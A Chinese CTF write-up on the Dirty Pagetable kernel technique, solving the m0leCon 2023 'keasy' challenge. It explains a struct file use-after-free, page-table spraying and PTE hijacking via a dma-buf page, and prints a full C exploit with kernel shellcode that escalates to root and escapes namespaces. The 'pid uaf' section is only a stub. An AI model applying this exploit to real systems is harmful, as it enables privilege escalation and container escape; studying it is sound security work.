前言
Dirty PageTable
是一种针对堆相关漏洞的利用手法,主要就是针对 PTE
进行攻击。
参考文章:
Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel – 该利用方式提出原文
上述文章已经讲的非常清楚了,就是实操写 exp
时存在一些问题?比如:
- 在
pid uaf
中,如何稳定的控制struct pid
的分配与释放?如何控制pid->count
字段的增长?即如何构造inc
原语? - 同理,在
file uaf
中也存在上述问题,但是在file uaf
中其控制比较简单,打开关闭相应的文件即可。
在其它堆漏洞中,其利用方式也是大同小异的,总的来说步骤如下:
- 堆喷
obj
并构造victim obj
- 释放
obj
至victim slab
中,使得victim slab
被buddy system
回收 - 堆喷
pte
,使得页表占据victim slab page
- 利用
uaf obj
写相关pte
这里仅仅针对 pid uaf
和 file uaf
做相关记录
file uaf
例题:m0leCon Finals 2023 CTF keasy
参考文章:Understanding Dirty Pagetable - m0leCon Finals 2023 CTF Writeup
文章讲的很清楚了,主要记录下关键点。
漏洞点
static long keasy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {long ret = -EINVAL;struct file *myfile;int fd;if (!enabled) {goto out;}enabled = 0;myfile = anon_inode_getfile("[easy]", &keasy_file_fops, NULL, 0);fd = get_unused_fd_flags(O_CLOEXEC);if (fd < 0) {ret = fd;goto err;}fd_install(fd, myfile);if (copy_to_user((unsigned int __user *)arg, &fd, sizeof(fd))) {ret = -EINVAL;goto err;}ret = 0;return ret;err:fput(myfile);
out:return ret;
}
漏洞在于当 copy_to_user
函数复制失败时,会调用 fput
释放 myfile -- struct file
,但是并没有将其解绑,即没有将 fd
与 myfile
解绑,所以在释放 myfile
后,还是可以通过 fd
操作 file
结构体从而导致 UAF
注:这里由于没有上锁,所以可以通过
race condition
多次触发,但是这里没有必要。还有就是fput
的行为是将file->f_count
减一,只有当file->f_count
为 0 时,file
才会被释放
如何控制 struct file
的分配与释放:即如何稳定的堆喷 struct file
这个比较简单,打开/关闭文件就可以控制 struct file
的分配/释放
如何堆喷 pte
:即如何分配页表页面
利用 mmap
申请大量匿名页面即可;当向访问这些匿名页面时就会在页表项中填充物理地址,即效果就是堆喷 pte
,而页表页面的分配也是通过 buddy system
分配的。
如何使得页表页面占据 victim slab page
这里利用 cross cache attack
手法,详细参考CVE-2022-29582 An io_uring vulnerability
- 先让
buddy system
回收victim slab
- 然后堆喷
pte
,其会从buddy system
中分配页表页面,这里就大概率就会拿到victim slab
效果如下:
1)victim file
可以看到这里的 file->f_count = 1
2)free victim file
可以看到这里的 file->f_count = 0
3)spray pte
这里就变成了 pte
字段
注: 堆喷
pte
时,每次mmap
8 个页面大小,这里主要是为了让file->f_count
字段与某个pte
重合,当然这里大于 8 个页面大小也行。然后这里似乎是刚好与file
重合,所以小于 8 个页面大小则无法使得file->f_count
字段与某个pte
重合。struct file {union {struct llist_node f_llist;struct rcu_head f_rcuhead;unsigned int f_iocb_flags;};struct path f_path;struct inode *f_inode; /* cached value */const struct file_operations *f_op;/** Protects f_ep, f_flags.* Must not be taken from IRQ context.*/spinlock_t f_lock;atomic_long_t f_count; ......
可以看到该版本的内核其
file->f_count
在0x40
位置,当然直接调试也可以看出来
如何构造 inc
原语:即如何增加 file->f_count
的值
原文中采用的方式是使用 dup
系统调用,其会增加 file
的引用计数,但是这里存在一个问题就是每个进程的文件描述符资源是有限的,也就是说不能无限制的增加 file->f_count
,然后原文中给出了解决方案:
- 利用
fork + dup
解决该限制
利用关键点:如何控制用户页表
在上面,我们说了可以利用 fork + dup
来解决 inc
原语的限制,但是有个问题就是我们最终的目的是提权(或拿 flag
),所以我们的想法是修改 pte
使得其关联到 kernel _text/_data
段,这样就可以修改程序硬编码提权(比如修改 setresuid
函数,这个在 USMA
中也利用过),但问题是 mmap
的内存区域可能在其下方,所以 inc
原语则无法完成利用,因此我们需要更强大的攻击原语:直接控制用户页表
1)构造页级 UAF
【FALSE】
利用 inc
原语使得两个虚拟地址对应同一个物理地址,这里构造比较简单,因为我们是连续 mmap
大量内存页,所以大概率这些内存页是物理连续的,所以利用 inc
原语增加 0x1000、0x2000、0x3000 ......
即可,效果如下:
现在 evil page
和 victim page
关联同一个物理页,如果我们 munmap
掉 victim page
不就可以释放掉其对应的物理页了吗?这时如果我们可以堆喷其它 obj
占据该物理页,即可完成页级 UAF
的构造。
最简单的想法就是再堆喷 pte
使其占据该物理页,然后就可以利用 evil page
任意修改 pte
了。但是这种方案在原文章中被否定了,理由如下:
The root cause for this is that the physical pages allocated by anonymous mmap() usually come from the MIGRATE_MOVABLE free_area of the memory zone, while user page tables are usually allocated from the MIGRATE_UNMOVABLE free_area of the memory zone.
2)间接控制 pte
【TRUE】
然后原文中给出了解决方案:
看看原文咋说的(文章是以 DMA_BUF
为例的):
We know that kernel space and user space need to share some physical pages in some cases. The sharing physical pages are mmaped into kernel space and user space at the same time, so they can be accessed from both spaces. Quite a few components can be used to allocate such sharing pages, such as dma-buf heaps, io_uring, GPUs and etc.
这里建议看原文,就多不说了,主要的内容就是说:分配单个共享页面时,分配 gfp_flags
是 LOW_ORDER_GFP
,即是从 MIGRATE_UNMOVABLE
类型的 free_area
中分配的,并且分配阶 order = 0
,这跟页表的分配是契合的,所以结论就是:
The single sharing page and page table are allocated from the same migrate free_cache with the same order.
所以我们可以通过分配单个共享页面,使得这个共享页面与页表页面的物理地址是相邻的。然后我们可以 munmap evil page
将 victim pte
空闲出来,然后 mmap
该共享页面使其占据该 victim pte
,然后通过 inc
原语即可将共享页面的物理地址设置为页表页面地址,然后即可控制 pte
这里无法调试,因为
gdb
里面好像是无法直接查看物理地址的内容的,所以这里我不知道如何去确认是否堆喷成功。但是看上面的参考文章是可以直接在gdb
里面查看物理地址的内容的,应该是作者自己写的插件
如何进行提权:在控制 pte
后该如何进行提权(逃逸)
按照上述思路,主要就是通过修改硬编码进行提权?而题目开启了 kaslr
保护,所以对应内核 _text/_data
段的地址并不固定。但是这里我们是直接操作的物理地址,所以得想办法泄漏内核基地址的物理地址。
方案1:利用固定物理地址上残留的页表项地址泄漏内核基物理地址
在参考文章中,其指出:目前在 linux/windows
上仍然存在一些固定的物理地址,其保存着页表地址。
但是这里笔者不知道该固定地址是如何得出的,也没有办法查看,但是事实是确实是正确的。当然如果读者有知道这个方案,希望可以不吝赐教
然后就是逃逸了,由于逃逸不太懂就不说了,具体可以参考该文章,逃逸 shellcode
如下:
init_cred equ 0x1445ed8commit_creds equ 0x00ae620find_task_by_vpid equ 0x00a3750init_nsproxy equ 0x1445ce0switch_task_namespaces equ 0x00ac140init_fs equ 0x1538248copy_fs_struct equ 0x027f890kpti_bypass equ 0x0c00f41_start:endbr64call a
a:pop r15sub r15, 0x24d4c9; commit_creds(init_cred) [3]lea rdi, [r15 + init_cred]lea rax, [r15 + commit_creds]call rax; task = find_task_by_vpid(1) [4]mov edi, 1lea rax, [r15 + find_task_by_vpid]call rax; switch_task_namespaces(task, init_nsproxy) [5]mov rdi, raxlea rsi, [r15 + init_nsproxy]lea rax, [r15 + switch_task_namespaces]call rax; new_fs = copy_fs_struct(init_fs) [6]lea rdi, [r15 + init_fs]lea rax, [r15 + copy_fs_struct]call raxmov rbx, rax; current = find_task_by_vpid(getpid())mov rdi, 0x1111111111111111 ; will be fixed at runtimelea rax, [r15 + find_task_by_vpid]call rax; current->fs = new_fs [8]mov [rax + 0x740], rbx; kpti trampoline [9]xor eax, eaxmov [rsp+0x00], raxmov [rsp+0x08], raxmov rax, 0x2222222222222222 ; winmov [rsp+0x10], raxmov rax, 0x3333333333333333 ; csmov [rsp+0x18], raxmov rax, 0x4444444444444444 ; rflagsmov [rsp+0x20], raxmov rax, 0x5555555555555555 ; stackmov [rsp+0x28], raxmov rax, 0x6666666666666666 ; ssmov [rsp+0x30], raxlea rax, [r15 + kpti_bypass]jmp raxint3
这里贴个 exp
:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data {u64 len;u32 fd;u32 fd_flags;u64 heap_flags;
};void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void decc(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %d\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int fd;void uaf() {ioctl(fd, 0, 0xdeadbeef);
}static void win() {char buf[0x100];int fd = open("/dev/sda", O_RDONLY);if (fd < 0) {puts("[-] Lose...");} else {puts("[+] Win!");read(fd, buf, 0x100);write(1, buf, 0x100);puts("[+] Done");}getchar();exit(0);
}#define N_FILESPRAY 0x100
#define N_PAGESPRAY (0x200 * 6)int main(int argc, char** argv, char** envp)
{bind_core(0);save_status();char buf[0x1000];int file_spray[N_FILESPRAY];void* page_spray[N_PAGESPRAY];void* evil_page = NULL;void* victim_page = NULL;int uaf_fd;int dma_buf_fd;int dma_heap_fd;fd = open("/dev/keasy", O_RDWR);if (fd < 0) err_exit("FAILED to open /dev/keasy");dma_heap_fd = open("/dev/dma_heap/system", O_RDWR);if (dma_heap_fd < 0) err_exit("FAILED to open /dev/dma_heap/system");struct dma_heap_allocation_data data;data.len = 0x1000;data.fd_flags = O_RDWR;data.heap_flags = 0;data.fd = 0;info("Prepare pages for PTE");for (int i = 0; i < N_PAGESPRAY; i++) {page_spray[i] = mmap((void*)(0xdead0000UL+i*0x10000UL),0x8000, PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_SHARED, -1, 0);if (page_spray[i] == MAP_FAILED) err_exit("FAILED to mmap many pages");}info("Spray struct file");for (int i = 0; i < N_FILESPRAY / 2; i++) {file_spray[i] = open("/", O_RDONLY);if (file_spray[i] < 0) err_exit("FAILED to open \"/\" to spray struct file");}info("Get A UAF FILE");uaf_fd = file_spray[N_FILESPRAY / 2 - 1] + 1;uaf();decc("uaf_fd", uaf_fd);info("Spray struct file");for (int i = N_FILESPRAY / 2; i < N_FILESPRAY; i++) {file_spray[i] = open("/", O_RDONLY);if (file_spray[i] < 0) err_exit("FAILED to open \"/\" to spray struct file");}info("Free struct file to victim slab");for (int i = 0; i < N_FILESPRAY; i++) {close(file_spray[i]);}info("Spray PTE to occupy victim slab page");for (int i = 0; i < N_PAGESPRAY; i++) {if (i == N_PAGESPRAY / 3) {if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {err_exit("DMA_HEAP_IOCTL_ALLOC");}dma_buf_fd = data.fd;}for (int j = 0; j < 8; j++) {*(uint64_t*)(page_spray[i] + j*0x1000) = page_spray[i] + j*0x1000;}}info("Inc file->f_count to find victim page");for (int i = 0; i < 0x1000; i++) {if (dup(uaf_fd) < 0) err_exit("FAILED to inc file->f_count");}info("CHECK to find victim page");for (int i = 0; i < N_PAGESPRAY; i++) {for (int j = 0; j < 8; j++) {if (*(uint64_t*)(page_spray[i]+j*0x1000) != page_spray[i]+j*0x1000) {evil_page = page_spray[i]+j*0x1000;victim_page = *(uint64_t*)(page_spray[i]+j*0x1000);break;}}}if (evil_page == NULL) err_exit("FAILED to find victim page");hexx("evil page addr", evil_page);hexx("victim page addr", victim_page);info("munmap evil_page to construct page UAF");munmap(evil_page, 0x1000);void* dma_page = mmap(evil_page, 0x1000, PROT_READ|PROT_WRITE,MAP_SHARED|MAP_POPULATE, dma_buf_fd, 0);if (dma_page == MAP_FAILED) err_exit("FAILED to mmap dma_page");hexx("dma page addr", dma_page);*(uint64_t*)dma_page = 0x4141414141414141;info("Inc file->f_coint to hijack pte page");for (int i = 0; i < 0x1000; i++) {if (dup(uaf_fd) < 0) err_exit("FAILED to inc file->f_count");}if (((*(uint64_t*)dma_page) & 0xf0000000000000ff) != 0x8000000000000067) {puts(dma_page);err_exit("FAILED to hijack pte page");}*(uint64_t*)dma_page = *(uint64_t*)dma_page + 0x1000;info("CHECK to find pte page");void* pte_page = NULL;for (int i = 0; i < N_PAGESPRAY; i++) {for (int j = 0; j < 8; j++) {if (*(uint64_t*)(page_spray[i]+j*0x1000) != evil_page) {if (*(uint64_t*)(page_spray[i]+j*0x1000) != page_spray[i]+j*0x1000) {pte_page = page_spray[i]+j*0x1000;break;}}}}if (pte_page == NULL) err_exit("FAIED to find pte page");hexx("pte page addr", pte_page);info("Leak Kernel Base");*(uint64_t*)dma_page = 0x800000000009c067;uint64_t phys_base = (*(uint64_t*)pte_page & (~0xfff)) - 0x1c04000;hexx("physical kernel base", phys_base);size_t phys_func = phys_base + 0x24d4c0;*(size_t*)dma_page = (phys_func & ~0xfff) | 0x8000000000000067;char shellcode[] = {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9,0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6,0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a,0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d,0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49,0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11,0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0,0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89,0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89,0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89,0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89,0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89,0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc };void *p;p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);*(size_t*)p = getpid();p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);*(size_t*)p = (size_t)&win;p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);*(size_t*)p = user_cs;p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);*(size_t*)p = user_rflags;p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);*(size_t*)p = user_sp;p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);*(size_t*)p = user_ss;memcpy(pte_page + (phys_func & 0xfff), shellcode, sizeof(shellcode));printf("[+] %d\n", symlink("/jail/x", "/jail"));puts("[+] EXP NERVER END");
// getchar();return 0;
}
效果如下:
问题疑惑
最后的 exp
有点奇怪,当开启 kaslr
时,可以正确读出 flag
;但是当关闭 kaslr
时,似乎无法正确执行 symlink
,感觉应该是 shellcode
存在一点问题,因为 shellcode
一开始是利用的栈上的数据泄漏的 virtual kernel addr
,我感觉开启 kaslr
和没有开启 kaslr
的栈不太一样。
方案2:遍历页表(物理地址)泄漏内核基物理地址
经过思考,笔者认为内核的基物理地址(后面简称基地址)应该位于较低的内存页上,因此我们可以直接往前遍历页表,然后利用基地址对应内存页上的特殊数据作为 TAG
进行 check
是否命中即可。
最后修改的 exp
如下:其它代码都是一样的,就是泄漏 physical kernel base
时,采用的时遍历页表的方式
info("Leak Kernel Base");
// *(uint64_t*)dma_page = 0x800000000009c067;
// uint64_t phys_base = (*(uint64_t*)pte_page & (~0xfff)) - 0x1c04000;*(uint64_t*)dma_page = *(uint64_t*)dma_page & (~0xfffff) | 0x8000000000000067;uint64_t phys_base;for (int i = 0;;i++) {*(uint64_t*)dma_page = *(uint64_t*)dma_page - 0x100000;if (*(uint64_t*)pte_page == 0x4801403f51258d48) {printf("\033[32mpte: %#llx NUMBER TAG: %#llx\n\033[0m", *(uint64_t*)dma_page, *(uint64_t*)pte_page);phys_base = (*(uint64_t*)dma_page & (~0xf000000000000fff));break;}// 如果删除该 printf,关闭 kaslr 时会出现页表解析问题printf("pte: %#llx NUMBER TAG: %#llx\n", *(uint64_t*)dma_page, *(uint64_t*)pte_page);}
效果如下:
可以看到最后也是可以成功泄漏 physical kernel base
问题疑惑
还是对于 kaslr
是否开启的情况,当 kaslr
开启时没啥问题。当 kaslr
关闭时,必须在 leak base
时加上最后的 printf
语句才可能正常执行,否则在遍历页表时会出现页表项解析错误等问题,反正归功于玄学就对了。当然这里也说明了方案1中关闭 kaslr
出错的原因不是 shellcode
的问题,而是没有正确的泄漏 physical kernel base
总结
个人觉得遍历页表泄漏 physical kernel base
的方式更直观和容易理解,主要是对于固定的物理地址去泄漏这个方案,gdb
中是无法查看物理地址的,所以我也不知道最后泄漏出来的页表项地址与 physical kernel base
的偏移是怎么算出来的。
对了,在关闭 kaslr
时,测试发现 physical kernel base
固定为 0x1000000
终极大疑问
kalsr
不是随机化的虚拟地址吗?跟物理地址有啥关系?为啥关闭 kaslr
时, physical kernel base
是固定的呢?
我的解释是:这里虚拟基地址应该在 DMA
区域,所以虚拟地址和物理地址直接只是相差一个偏移,所以虚拟地址和物理地址理论上是绑定的,即:virt_addr - offset = phys_addr
,而 offset
是固定的。所以当关闭 kaslr
时,virt_addr
是不变的,所以 phys_addr
也是不变的,这也解释了为啥在关闭 kaslr
时,测试发现 physical kernel base
固定为 0x1000000
;而开启 kaslr
时,每次泄漏的 physical kernel base
是不同的也就可以解释了。
pid uaf
todo